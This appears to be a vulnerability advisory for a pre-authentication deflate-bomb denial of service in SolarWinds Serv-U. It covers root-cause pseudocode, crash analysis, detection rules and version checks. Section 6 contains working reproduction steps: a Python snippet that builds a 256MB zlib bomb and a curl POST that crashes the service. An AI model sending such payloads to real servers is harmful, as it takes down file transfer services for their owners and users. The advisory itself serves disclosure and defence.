1. Overview

A vulnerability exists in SolarWinds Serv-U’s HTTP request handler that processes Content-Encoding: deflate encoded POST bodies. The server decompresses incoming deflate-encoded payloads without enforcing any limit on the decompressed size, allowing an attacker to send a small (~260KB) compressed payload that expands to hundreds of megabytes or gigabytes in memory. This uncontrolled memory allocation causes the Serv-U process to crash with SIGABRT, resulting in a complete denial of service. The attack requires no authentication and can be performed by any network-accessible client. SolarWinds addressed this vulnerability in Serv-U 15.5.4 Hotfix 1, released June 4, 2026. CISA added this CVE to the Known Exploited Vulnerabilities catalog on June 5, 2026, citing active exploitation in the wild.


2. Vulnerability Type

FieldValue
Primary CWECWE-400: Uncontrolled Resource Consumption
Related CWECWE-409: Improper Handling of Highly Compressed Data (Zip Bomb)

The vulnerability is specifically a decompression bomb (zip bomb) attack against the HTTP Content-Encoding handler. The server accepts deflate-compressed POST bodies but does not validate or limit the ratio between compressed and decompressed sizes, nor does it cap the total decompressed output.


3. Severity

CVSS 3.1 (from NVD)

FieldValue
Score7.5 (High)
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Our Assessment (CVSS 4.0)

Metric GroupMetricValue
Base — ExploitabilityAttack Vector (AV)Network
Attack Complexity (AC)Low
Attack Requirements (AT)None
Privileges Required (PR)None
User Interaction (UI)None
Base — Vulnerable SystemConfidentiality (VC)None
Integrity (VI)None
Availability (VA)High
Base — Subsequent SystemConfidentiality (SC)None
Integrity (SI)None
Availability (SA)None
ThreatExploit Maturity (E)Attacked
FieldValue
CVSS 4.0 Score9.2 (Critical)
CVSS 4.0 VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:A

Rationale: Exploit Maturity is set to Attacked because CISA confirmed active exploitation in the wild before the patch was widely deployed. The attack requires only a single HTTP POST request with no authentication, making it trivially exploitable. SA is None because Serv-U is typically a standalone file transfer service without cascading dependencies.


4. Affected Products

Affected Products

ProductVersionCPE 2.3
SolarWinds Serv-U FTP Server< 15.5.4 HF1cpe:2.3:a:solarwinds:serv-u:*:*:*:*:*:*:*:*
SolarWinds Serv-U MFT Server< 15.5.4 HF1cpe:2.3:a:solarwinds:serv-u:*:*:*:*:*:*:*:*

All versions of Serv-U up to and including 15.5.4 (build 108) are vulnerable. The fix is available only in Serv-U 15.5.4 Hotfix 1.

Supported platforms: Windows (x86, x64) and Linux (x64). Both platforms are affected.

Tested Environment (Vulnerable)

FieldValue
ProductSolarWinds Serv-U FTP Server
Version15.5.4.108
PlatformLinux 64-bit (Ubuntu 24.04)
Binary/usr/local/Serv-U/Serv-U
Build DateFebruary 19, 2026

Tested Environment (Patched)

FieldValue
PatchServ-U 15.5.4 Hotfix 1
Release DateJune 4, 2026
StatusHotfix not publicly downloadable; requires SolarWinds Customer Portal access
Patched files (Linux)Serv-U, Strings/Serv-U.str, Strings/Serv-U-Strings.h
Patched files (Windows)Serv-U.exe, Serv-U.dll, RhinoNET.dll, RhinoRES.dll, Serv-U-Tray.exe, Serv-U-RES.dll

5. Root Cause Analysis

5a. Detailed Description

Serv-U provides HTTP/HTTPS file transfer functionality as part of its multi-protocol server (FTP, SFTP, HTTP, HTTPS). The HTTPS listener (default port 8443) serves a web client interface and accepts various HTTP requests.

The HTTP handler supports the standard Content-Encoding header, which allows clients to compress request bodies using algorithms like deflate (RFC 1950/1951) or gzip. When Serv-U receives a POST request with Content-Encoding: deflate, it decompresses the request body before processing it.

The vulnerability is in the inflate decompression loop. Reverse engineering of the Serv-U binary (v15.5.4.108, Linux x64) reveals the following call chain for processing deflate-encoded HTTP request bodies:

HTTP POST body read
  → CZLibCompression vtable read (sub_36DDC0)
    → sub_36DC70 (inflate read with buffering)
      → sub_36D9E0 (inflate wrapper loop)  ← VULNERABLE FUNCTION
        → sub_36F4B0 (zlib inflate, statically linked zlib 1.3.1)

The vulnerable function sub_36D9E0 at offset 0x36D9E0 implements the inflate wrapper. It contains a do-while loop that repeatedly calls inflate() (sub_36F4B0) to decompress data:

// sub_36D9E0 - inflate wrapper (VULNERABLE)
int64_t sub_36D9E0(int64_t state) {
    int64_t output_size = *(uint32_t*)(state + 160);  // output buffer size
    do {
        // Feed more input if needed
        if (!*(uint32_t*)(state + 136)) {
            sub_36D750(state);  // read from socket → inflate input buffer
        }
        
        // Call zlib inflate()
        int ret = sub_36F4B0(state + 128, 0);  // inflate()
        
        // Check for errors
        if (ret == Z_DATA_ERROR || ret == Z_STREAM_ERROR) return -1;
        if (ret == Z_MEM_ERROR) return -1;   // "out of memory"
        if (ret == Z_BUF_ERROR) return -1;   // "compressed data error"
        
        // *** NO CHECK ON TOTAL DECOMPRESSED SIZE ***
        // Loop continues until Z_STREAM_END or error
        
    } while (ret != Z_STREAM_END);
    return 0;
}

The critical flaw: The loop has NO check on the total decompressed output size. The only exit conditions are:

  1. inflate() returns Z_STREAM_END (decompression complete)
  2. inflate() returns an error code
  3. No more input data available

There is no maximum decompressed size limit, no compression ratio check, and no output buffer size cap. The server allocates memory for decompressed data without bounds until the process exhausts available memory and aborts.

The raw input data is read via sub_36D6C0, which calls the read() syscall directly on the socket file descriptor (offset +28 in the state structure), confirming this operates at the network I/O level before any HTTP authentication or authorization checks.

Key observations:

  • The Content-Encoding: deflate processing occurs before any authentication check, making this a pre-auth attack
  • zlib 1.3.1 is statically linked into the Serv-U binary — no external zlib dependency
  • The Serv-U service does not legitimately require deflate-encoded POST bodies for normal operation, making this an unnecessary attack surface
  • A single request is sufficient to crash the service
  • The service does not automatically restart after crashing
  • The CHTTPHeader class (vtable at CHTTPHeader+2, constructor at sub_303720) stores Content-Encoding at offset +7147 from the connection object, where sub_26ECA0 performs the string comparison against “deflate”

5b. Crash Analysis

The crash was captured via kernel dmesg on the container host:

Serv-U: potentially unexpected fatal signal 6.
CPU: 5 PID: 196343 Comm: Serv-U Not tainted 6.6.72-generic #1
RIP: 0033:0x748ccbda3b2c
RSP: 002b:0000748cca2849b0 EFLAGS: 00000246 ORIG_RAX: 00000000000000ea
RAX: 0000000000000000 RBX: 0000000000000d20 RCX: 0000748ccbda3b2c
RDX: 0000000000000006 RSI: 0000000000000d20 RDI: 0000000000000d1b

Signal 6 (SIGABRT) indicates the process was terminated by an abort signal. The crash occurs when the inflate loop in sub_36D9E0 exhausts available memory. The zlib inflate() function (sub_36F4B0) returns Z_MEM_ERROR (-4) when internal memory allocation fails, which sub_36D9E0 handles by logging “out of memory” — but by this point the process has already consumed all available memory, and the C runtime’s memory allocator calls abort() (SIGABRT) before the error handler can clean up.

5c. Fix (Patched Version)

The fix in Serv-U 15.5.4 Hotfix 1 addresses the uncontrolled decompression. Based on the advisory description (“An attacker can no longer crash the Serv-U service by sending a simple request to the server with Content-Encoding: deflate and some data”) and the reverse-engineered code, the patch must modify the inflate loop in sub_36D9E0 or its callers to implement one or more of:

  1. Maximum decompressed size limit — Add a check in the do-while loop of sub_36D9E0 to abort decompression if total output exceeds a threshold (e.g., total_output > MAX_DECOMPRESSED_SIZE → return error)
  2. Compression ratio limit — Track the ratio of output/input bytes and abort if it exceeds a safe bound (e.g., 100:1)
  3. Rejection of Content-Encoding: deflate on POST — Since Serv-U’s web client does not legitimately send deflate-encoded POST bodies, the HTTP handler could reject or ignore the Content-Encoding: deflate header entirely before the inflate stream is initialized

The simplest and most likely fix is option 3, given BleepingComputer’s description: “An attacker can no longer crash the Serv-U service by sending a simple request to the server with Content-Encoding: deflate and some data.” This suggests the server now rejects deflate-encoded requests entirely rather than adding size limits to the decompression.

Note: The patched binary was not available for binary diff. The fix description is based on the vendor advisory and reverse engineering of the vulnerable code path.

5d. Impact

The confirmed impact is complete denial of service. A single unauthenticated HTTP POST request with a ~260KB deflate bomb payload crashes the Serv-U service with SIGABRT. The service does not automatically restart, so all file transfer operations (FTP, SFTP, HTTP, HTTPS) become unavailable until an administrator manually restarts the service. In our testing, the crash occurred within seconds of sending the payload.

This vulnerability is particularly dangerous in internet-facing deployments. Shodan identifies over 12,000 Serv-U instances exposed on the public internet. Since the attack requires no authentication and only a single packet, an attacker can automate mass denial-of-service against all exposed instances. CISA’s addition of this CVE to the KEV catalog with evidence of active exploitation confirms that this attack is being used in the wild. Repeated exploitation could be used to keep a Serv-U server permanently offline, disrupting critical file transfer workflows.


6. Proof-of-Concept

6a. PoC Code

Download poc_cve_2026_28318.py (enterprise email verification required)

FileDescription
poc_cve_2026_28318.pyPython3 PoC script — generates deflate bomb and sends via HTTPS POST

6b. Reproduce Instructions

Prerequisites:

  • Python 3.x with ssl and zlib modules (standard library)
  • Network access to the target Serv-U HTTPS port (default: 8443)

Environment setup:

  1. Install Serv-U 15.5.4 on Ubuntu 24.04 (or any supported Linux/Windows):

    # Download
    curl -sL -o servu.tar.gz \
      -H "User-Agent: Mozilla/5.0" \
      "https://downloads.solarwinds.com/solarwinds/Release/SU/15.5.4/SolarWinds-SERVU-MFT-Server-v15.5.4.108-Linux-64bit.tar.gz"
    tar xzf servu.tar.gz
    chmod +x SolarWinds-SERVU-FTP-Server-v15.5.4.108-Linux-64bit
    
    # Install (console mode, accepts defaults)
    ./SolarWinds-SERVU-FTP-Server-v15.5.4.108-Linux-64bit --mode console
    
    # Start
    /usr/local/Serv-U/Serv-U -start
    
  2. Verify the service is running:

    curl -sk https://localhost:8443/  # Should return HTML
    

Reproduction steps:

  1. Run the PoC against the target:

    python3 poc_cve_2026_28318.py <target_host> 8443 --use-ssl --size 256 --attempts 3
    
  2. The script will:

    • Verify the target is alive (TCP connect to port 8443)
    • Generate a deflate bomb (~260KB compressed, 256MB decompressed)
    • Send it as an HTTP POST with Content-Encoding: deflate
    • Wait 5 seconds between attempts
    • Check if the service has crashed
  3. Expected output:

    [*] CVE-2026-28318 - SolarWinds Serv-U DoS PoC
    [*] Target: localhost:8443
    [*] Checking if target is alive...
    [+] Target is alive
    [*] Creating deflate bomb (256MB decompressed)...
    [+] Compressed payload: 260916 bytes (ratio: 1029:1)
    
    [*] Attempt 1/3
    [*] Sending exploit payload...
    [*] Response: b''
    [*] Waiting 5 seconds for crash...
    
    [*] Attempt 2/3
    [+] TARGET IS DOWN! Service crashed successfully.
    [+] CVE-2026-28318 confirmed - Serv-U crashed via deflate bomb
    

Alternative reproduction with curl:

# Generate deflate bomb
python3 -c "
import zlib
data = b'\x00' * (256 * 1024 * 1024)
compressed = zlib.compress(data, 9)
with open('/tmp/bomb.bin', 'wb') as f:
    f.write(compressed)
print(f'Bomb: {len(compressed)} bytes')
"

# Send to Serv-U (crashes the service)
curl -sk -X POST \
  -H "Content-Encoding: deflate" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @/tmp/bomb.bin \
  "https://localhost:8443/"

6c. Test Results

MetricValue
Serv-U version15.5.4.108
PlatformLinux x64 (Ubuntu 24.04 container)
Compressed payload size260,916 bytes (~255 KB)
Decompressed payload size268,435,456 bytes (256 MB)
Compression ratio1029:1
Crash signalSIGABRT (signal 6)
Attempts to crash1 (single request sufficient)
Authentication requiredNone
Service auto-restartNo

Mitigation verification:

TestContent-Encoding HeaderHTTP ResponseServer Status
Normal GET(none)200 OKAlive
Bomb WITHOUT header(none)401 UnauthorizedAlive
Bomb WITH headerdeflate(connection dropped)CRASHED

6d. Patched System Verification

The patched binary (Serv-U 15.5.4 Hotfix 1) was not available for direct testing as it requires SolarWinds Customer Portal access. However, per the vendor advisory: “An attacker can no longer crash the Serv-U service by sending a simple request to the server with Content-Encoding: deflate and some data.”

The recommended mitigation for organizations unable to immediately patch is to block HTTP POST requests containing the Content-Encoding header at the network perimeter (WAF, reverse proxy, or firewall). Our testing confirmed that the same payload sent without the Content-Encoding: deflate header does not crash the service (HTTP 401 response, server remains operational).


7. Detection

Note: The detection rules below are provided as a starting point. Validate and tune them in your own environment before deploying to production.

7a. Network-Based Detection

Signature-Based Detection

The attack is identifiable by the presence of Content-Encoding: deflate in HTTP POST requests to Serv-U ports. Legitimate Serv-U web client traffic does not use Content-Encoding on POST requests, so any occurrence is suspicious. The combination of a POST method, deflate content encoding, and a large (or disproportionately small) Content-Length is a strong indicator.

Key detection characteristics:

  • HTTP POST method to Serv-U ports (typically 8443, 443, or custom)
  • Content-Encoding: deflate header present
  • Content-Length may be small relative to decompressed size (high compression ratio)
  • The attack payload consists primarily of zeros or repetitive data when decompressed

Suricata Rules

# CVE-2026-28318: SolarWinds Serv-U Deflate Bomb DoS
# Detects HTTP POST requests with Content-Encoding: deflate to Serv-U ports.
# Serv-U web client does not legitimately use deflate-encoded POST bodies.

alert http $EXTERNAL_NET any -> $HOME_NET [443,8443] (msg:"CVE-2026-28318 SolarWinds Serv-U deflate bomb DoS attempt"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.header; content:"Content-Encoding|3a 20|deflate"; nocase; \
  threshold:type limit, track by_src, count 1, seconds 60; \
  reference:cve,2026-28318; \
  classtype:attempted-dos; \
  metadata:created_at 2026_06_07, updated_at 2026_06_07; \
  sid:2026028318; rev:1;)

# Rate-based detection for repeated deflate POST attempts
alert http $EXTERNAL_NET any -> $HOME_NET [443,8443] (msg:"CVE-2026-28318 SolarWinds Serv-U deflate bomb DoS - repeated attempts"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.header; content:"Content-Encoding|3a 20|deflate"; nocase; \
  threshold:type both, track by_src, count 3, seconds 60; \
  reference:cve,2026-28318; \
  classtype:attempted-dos; \
  metadata:created_at 2026_06_07, updated_at 2026_06_07; \
  sid:2026028319; rev:1;)

Byte Offset Reference (HTTP Request)

OffsetFieldAttack Value
0HTTP MethodPOST
VariableContent-Encoding headerdeflate
VariableContent-Length headerSmall value (e.g., ~260KB)
After headersBodyzlib-compressed stream of zeros (starts with 78 DA)

The zlib header bytes 78 DA indicate maximum compression level (DA = level 9, default window size). The subsequent stream contains DEFLATE blocks encoding long runs of zero bytes.

7b. Host-Based Detection

YARA binary scanning is not applicable for this vulnerability — the flaw is a missing size check in a decompression loop, not a recognizable byte pattern that distinguishes vulnerable from patched binaries. Use version checking instead.

Version Check (Linux):

/usr/local/Serv-U/Serv-U -version 2>&1 | grep -oP '\d+\.\d+\.\d+\.\d+'
# Vulnerable: 15.5.4.108 or earlier
# Patched:    15.5.4 Hotfix 1 (build > 108)

Version Check (Windows PowerShell):

(Get-ItemProperty "C:\Program Files\SolarWinds\Serv-U\Serv-U.exe").VersionInfo.FileVersion
# Vulnerable: 15.5.4.108 or earlier
# Patched:    15.5.4 Hotfix 1 (build > 108)

Version Check (Remote, unauthenticated):

The Serv-U HTTPS interface returns its version in the Server response header:

curl -sk -I https://<target>:8443/ | grep -i server
# Server: Serv-U/15.5.4.108

Any version ≤ 15.5.4.108 is vulnerable. Serv-U 15.5.4 Hotfix 1 is the minimum safe version.


8. References

SourceURL
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-28318
SolarWinds Advisoryhttps://www.solarwinds.com/trust-center/security-advisories/CVE-2026-28318
SolarWinds Hotfix Release Noteshttps://documentation.solarwinds.com/en/success_center/servu/content/release_notes/servu_15-5-4-hotfix-1_release_notes.htm
CISA KEV Cataloghttps://www.cisa.gov/known-exploited-vulnerabilities-catalog
CISA Alert (June 5, 2026)https://www.cisa.gov/news-events/alerts/2026/06/05/cisa-adds-one-known-exploited-vulnerability-to-catalog
BleepingComputer Coveragehttps://www.bleepingcomputer.com/news/security/cisa-hackers-now-exploit-solarwinds-serv-u-flaw-to-crash-servers/